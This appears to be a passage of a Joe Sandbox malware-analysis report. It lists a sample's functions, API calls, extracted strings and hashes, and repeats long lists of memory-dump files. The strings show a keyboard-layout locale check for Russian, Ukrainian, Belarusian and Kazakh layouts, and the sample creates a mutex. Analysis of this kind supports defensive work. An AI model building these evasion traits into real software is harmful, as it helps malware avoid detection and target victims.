RegCloseKey.KERNEL32(CE3D70BB,?,?,00000000,00000001,CE3D70BB,CE3D70BB), ref: 00255E06

Strings

invalid stoi argument, xrefs: 00257090
00000423, xrefs: 002560FA
00000422, xrefs: 002560C9
0000043f, xrefs: 0025612B
VUUU, xrefs: 00256F41
Keyboard Layout\Preload, xrefs: 00256054
stoi argument out of range, xrefs: 00257081
00000419, xrefs: 00256098

Memory Dump Source

Source File: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp, Offset: 00250000, based on PE: true

Associated: 00000005.00000002.2153489282.0000000000250000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153519955.00000000002B2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153620116.00000000002B9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153661893.00000000002BB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153709740.00000000002C7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153976897.000000000041F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154006249.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154037702.0000000000436000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154063102.0000000000437000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.000000000043A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.0000000000441000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154150146.000000000044D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154178797.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154202731.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154227827.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154257370.000000000045D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154283241.000000000045E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154308490.0000000000461000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154333269.0000000000463000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154361218.0000000000474000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154391715.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154424035.000000000047D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154451298.0000000000488000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154485350.00000000004A2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154510463.00000000004A3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154539839.00000000004AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154565601.00000000004B1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154592016.00000000004B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154616630.00000000004B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154641302.00000000004B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154665089.00000000004B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154693280.00000000004C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154727212.00000000004C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154757131.00000000004C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154786070.00000000004C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154814109.00000000004C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154841159.00000000004CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154877196.00000000004D6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154909669.00000000004DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154934888.00000000004DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154960757.00000000004DC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154987052.00000000004DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155022429.00000000004E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155050189.00000000004F2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155075622.00000000004F3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155110595.0000000000514000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000516000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000521000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155196536.0000000000550000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155225278.0000000000551000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155249415.0000000000552000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155277166.0000000000557000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155303616.0000000000559000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155355670.0000000000567000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155383474.0000000000568000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_250000_ZEV545Y6VQAOO1ZG8Z5WIIWMJ.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload$VUUU$invalid stoi argument$stoi argument out of range
API String ID: 3677997916-1112634906
Opcode ID: 8e86f394d63b99f89f4a7407ce1520733f41b247a692f4b49969d67e352dabf8
Instruction ID: 521315c36b7b112419de42a30684cda4d0fbe1fc53a263d717f5381977c39243
Opcode Fuzzy Hash: 8e86f394d63b99f89f4a7407ce1520733f41b247a692f4b49969d67e352dabf8
Instruction Fuzzy Hash: 1BC22671A201189BDF28DF28CC89BDDB779EF45304F504299E809A72C1DB759AE8CF94

Function 0025735A Relevance: 2.5, APIs: 1, Instructions: 1031
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp, Offset: 00250000, based on PE: true

Associated: 00000005.00000002.2153489282.0000000000250000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153519955.00000000002B2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153620116.00000000002B9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153661893.00000000002BB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153709740.00000000002C7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153976897.000000000041F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154006249.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154037702.0000000000436000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154063102.0000000000437000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.000000000043A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.0000000000441000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154150146.000000000044D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154178797.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154202731.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154227827.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154257370.000000000045D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154283241.000000000045E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154308490.0000000000461000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154333269.0000000000463000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154361218.0000000000474000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154391715.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154424035.000000000047D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154451298.0000000000488000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154485350.00000000004A2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154510463.00000000004A3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154539839.00000000004AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154565601.00000000004B1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154592016.00000000004B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154616630.00000000004B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154641302.00000000004B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154665089.00000000004B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154693280.00000000004C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154727212.00000000004C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154757131.00000000004C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154786070.00000000004C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154814109.00000000004C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154841159.00000000004CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154877196.00000000004D6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154909669.00000000004DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154934888.00000000004DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154960757.00000000004DC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154987052.00000000004DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155022429.00000000004E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155050189.00000000004F2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155075622.00000000004F3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155110595.0000000000514000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000516000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000521000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155196536.0000000000550000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155225278.0000000000551000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155249415.0000000000552000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155277166.0000000000557000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155303616.0000000000559000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155355670.0000000000567000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155383474.0000000000568000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_250000_ZEV545Y6VQAOO1ZG8Z5WIIWMJ.jbxd

Yara matches

Similarity

API ID: ConditionVariableWake
String ID:
API String ID: 1192502693-0
Opcode ID: 602ecf24750b661518273fc804b7b948d101f53b48c368f5a6d895b03bffcdfd
Instruction ID: 68267a0447bccc65d122587bb93a7998af67d287573ae4eecd8869d0b66d7eef
Opcode Fuzzy Hash: 602ecf24750b661518273fc804b7b948d101f53b48c368f5a6d895b03bffcdfd
Instruction Fuzzy Hash: 1A727B70A202489BDB08EF78EC8AB9D7B79EF45314F50425DF804A73C1DB359AA4CB95

Function 0028652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0028652A,?,?,?,?,?,00287661), ref: 00286567

Memory Dump Source

Source File: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp, Offset: 00250000, based on PE: true

Associated: 00000005.00000002.2153489282.0000000000250000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153519955.00000000002B2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153620116.00000000002B9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153661893.00000000002BB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153709740.00000000002C7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153976897.000000000041F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154006249.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154037702.0000000000436000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154063102.0000000000437000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.000000000043A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.0000000000441000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154150146.000000000044D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154178797.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154202731.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154227827.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154257370.000000000045D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154283241.000000000045E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154308490.0000000000461000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154333269.0000000000463000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154361218.0000000000474000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154391715.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154424035.000000000047D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154451298.0000000000488000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154485350.00000000004A2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154510463.00000000004A3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154539839.00000000004AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154565601.00000000004B1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154592016.00000000004B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154616630.00000000004B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154641302.00000000004B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154665089.00000000004B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154693280.00000000004C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154727212.00000000004C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154757131.00000000004C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154786070.00000000004C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154814109.00000000004C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154841159.00000000004CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154877196.00000000004D6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154909669.00000000004DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154934888.00000000004DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154960757.00000000004DC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154987052.00000000004DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155022429.00000000004E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155050189.00000000004F2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155075622.00000000004F3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155110595.0000000000514000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000516000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000521000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155196536.0000000000550000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155225278.0000000000551000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155249415.0000000000552000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155277166.0000000000557000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155303616.0000000000559000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155355670.0000000000567000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155383474.0000000000568000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_250000_ZEV545Y6VQAOO1ZG8Z5WIIWMJ.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: c1e5c3471e2b3e9d8b408bfd6555685db52b81b68c9e1e57c2757adf58e35f34
Instruction ID: 6cf36f54315541e8f4dee23c73a2d0f1f98a8d54d103a39a4fbf6e712951d013
Opcode Fuzzy Hash: c1e5c3471e2b3e9d8b408bfd6555685db52b81b68c9e1e57c2757adf58e35f34
Instruction Fuzzy Hash: CEE08C340A2208AEDF357F18CC1DD493B69EB91755F408810FD1846266CB29EEA1CB80

Function 04A40AEC Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2158283082.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4a40000_ZEV545Y6VQAOO1ZG8Z5WIIWMJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3b92efce78b19f252b9c6a630a2bb5f94d304c970f1ecc7e8db5fb41b6a3b7e
Instruction ID: 0dd228a31e0a3b06970e47c47301199060359eb081b88232cb598a93b10b7fd3
Opcode Fuzzy Hash: d3b92efce78b19f252b9c6a630a2bb5f94d304c970f1ecc7e8db5fb41b6a3b7e
Instruction Fuzzy Hash: 2521C0FB24E114FDA14295922B24AFF6B3DE5D23303308466F603C6542F2996A4E70B1

Function 00255C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434COMMON

Download Yara Rule

Strings

00000423, xrefs: 002560FA
00000422, xrefs: 002560C9
0000043f, xrefs: 0025612B
Keyboard Layout\Preload, xrefs: 00256054
00000419, xrefs: 00256098

Memory Dump Source

Source File: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp, Offset: 00250000, based on PE: true

Associated: 00000005.00000002.2153489282.0000000000250000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153519955.00000000002B2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153620116.00000000002B9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153661893.00000000002BB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153709740.00000000002C7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153976897.000000000041F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154006249.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154037702.0000000000436000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154063102.0000000000437000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.000000000043A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.0000000000441000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154150146.000000000044D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154178797.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154202731.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154227827.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154257370.000000000045D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154283241.000000000045E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154308490.0000000000461000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154333269.0000000000463000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154361218.0000000000474000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154391715.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154424035.000000000047D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154451298.0000000000488000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154485350.00000000004A2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154510463.00000000004A3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154539839.00000000004AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154565601.00000000004B1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154592016.00000000004B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154616630.00000000004B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154641302.00000000004B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154665089.00000000004B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154693280.00000000004C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154727212.00000000004C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154757131.00000000004C4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154786070.00000000004C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154814109.00000000004C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154841159.00000000004CE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154877196.00000000004D6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154909669.00000000004DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154934888.00000000004DB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154960757.00000000004DC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154987052.00000000004DD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155022429.00000000004E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155050189.00000000004F2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155075622.00000000004F3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155110595.0000000000514000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000516000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155139739.0000000000521000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155196536.0000000000550000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155225278.0000000000551000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155249415.0000000000552000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155277166.0000000000557000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155303616.0000000000559000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155355670.0000000000567000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2155383474.0000000000568000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_250000_ZEV545Y6VQAOO1ZG8Z5WIIWMJ.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: fa9b73cbc3fcc5cbdd4d7a12698556a2276c55ba577395aef9d8acebe963ae6d
Instruction ID: e98a27c0d4dfa6502b0f727d072b88078cbb124b7bbe5633f3e99c6aa1da7f3a
Opcode Fuzzy Hash: fa9b73cbc3fcc5cbdd4d7a12698556a2276c55ba577395aef9d8acebe963ae6d
Instruction Fuzzy Hash: 1BF102709102589BEB24DF14CC85BDEBBB9EF45304F504699F908A72C1DB749A98CF94

Function 00259BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0025A963
CreateMutexA.KERNEL32(00000000,00000000,002B3254), ref: 0025A981

Strings

T2+, xrefs: 0025A970

Memory Dump Source

Source File: 00000005.00000002.2153519955.0000000000251000.00000040.00000001.01000000.00000008.sdmp, Offset: 00250000, based on PE: true

Associated: 00000005.00000002.2153489282.0000000000250000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153519955.00000000002B2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153620116.00000000002B9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153661893.00000000002BB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153709740.00000000002C7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2153976897.000000000041F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154006249.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154037702.0000000000436000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154063102.0000000000437000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.000000000043A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154095410.0000000000441000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154150146.000000000044D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154178797.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154202731.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154227827.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154257370.000000000045D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154283241.000000000045E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154308490.0000000000461000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154333269.0000000000463000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2154361218.0000000000474000.00000080.00000001.01000000.00000008.sdmpDownload File
